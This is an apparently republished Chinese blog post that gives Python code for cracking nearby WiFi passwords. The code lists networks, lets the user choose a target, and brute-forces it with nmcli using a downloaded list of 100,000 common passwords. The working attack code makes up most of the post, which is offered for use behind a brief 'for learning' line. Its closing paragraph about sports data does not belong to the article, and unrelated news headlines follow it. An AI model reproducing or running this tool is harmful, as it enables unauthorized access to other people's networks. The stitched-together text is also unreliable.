WIFI破解码(怎样破开加密wifi密码)
admin
2023-09-05 17:06:17
0

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets

def display_targets(networks, security_type): print("select a target: n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max): whileTrue: try: selected = int(input("nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip() # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC) if (len(decoded_line) >= 8): time.sleep(3) creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds) if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC) print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main(): require_root() args = argument_parser() # The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url) # grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1) display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.") brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

  • 红色:测试失败
  • 绿色:破解成功
  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

以上就是爱惜日网»WIFI破解码(怎样破开加密wifi密码)的相关内容了,更多精彩请关注作者:爱惜日号SEO专员

声明:本文由爱惜日网/爱惜日号作者编辑发布,更多技术关注王听风!

相关内容

热门资讯

中越将开展第39次北部湾联合巡... 根据中越两军相关协议和安排,11月19日至20日,中越两国海军舰艇编队将在北部湾海域开展第39次联合...
加拿大国会通过总理卡尼任内首份... 当地时间17日,加拿大国会以170票赞成、168票反对的投票结果,通过了加拿大总理卡尼任内的首份联邦...
娃放春秋假 爸妈不在家?看各地... 秋高气爽、春暖花开,春秋两季,正是出游好时节。今年,一些地方的中小学就推出了春秋假。像四川、浙江的春...
专项行动效果显现 “十四五”以... 计量,通俗地讲就是涉及生产生活各个方面的标尺,被称为科技创新的“先行官”,产业安全的“护城河”。记者...
公安部:确保人民群众报案“应接... 今天(17日),公安部召开新闻发布会,通报公安机关深化执法规范化建设有关情况。公安部法制局局长郝云宏...
地球之外还有生命吗?诺奖得主给... 地球以外还存在生命吗?诺奖得主给出肯定的答案。11月17日,第十三期“浦江科学大师讲坛”在复旦大学相...
中国女法官张玲玲当选联合国上诉... △联合国大厦(资料图)当地时间11月17日,第80届联合国大会举行联合国上诉法庭和争议法庭法官选举。...
5370米!全球在运海拔最高风... 111月17日,华电琼结风电项目在西藏山南市并网发电,机位点最高海拔5370米,成为全球在运海拔最高...
复制粘贴!大熊猫吃竹笋的模样简... 1这吃竹笋的模样,不能说神似,简直一模一样!
多个首次!“中国力量”组团亮相 当地时间11月17日2025迪拜航展开幕本届航展亮点多多“中国力量”组团亮相总台记者带你“云逛展”↓...
部分日本电影撤档 11月17日,原定近期上映的《蜡笔小新:炽热的春日部舞者们》《工作细胞》均宣布暂缓上映。
钟声:警惕日本战略走向的危险转... 日本首相高市早苗日前公然在国会宣称“台湾有事”可能构成日本可行使集体自卫权的“存亡危机事态”,暗示可...
“堤丰”中导发射装置撤离驻日美... △9月部署在美军岩国基地的“堤丰”中导系统据日本山口县岩国市方面17日发布的消息,日本防卫省当天告知...
韩国提议举行朝韩军事会谈 韩国军方今天(11月17 日)正式向朝鲜提议举行军事会谈,讨论非军事区内军事分界线基准线设定问题。这...
中原出版传媒投资控股集团原董事... 据河南省纪委监委消息:中原出版传媒投资控股集团有限公司原党委书记、董事长李永臻涉嫌严重违纪违法,目前...
呼朋唤友来串门儿,关注机遇无“... 呼朋唤友来串门儿,关注机遇无“琼”大——视听中国看海南 全媒体传播活动,带你读懂自贸港“关”键词。
亮相迪拜!C919首次在中东地... 1今年的迪拜航展上首次在中东地区亮相的C919从开展前就受到了关注在航展现场C919和C909临近摆...
市场监管总局:推动保健食品纳入... 11月17日,市说新语微信公号发布文章,内容如下:近期,为贯彻落实《中共中央 国务院关于加快建设全国...
这两项智能家电国家标准,明年5... 近日,市场监管总局(国家标准委)批准发布《智能家用电器的智能化技术要求和评价 第1部分:通用要求》(...
日本外务省高官今日访华 据日本广播协会(NHK)报道,日本外务省亚洲大洋洲局局长金井正彰将于今天(11月17日)起访问中国,...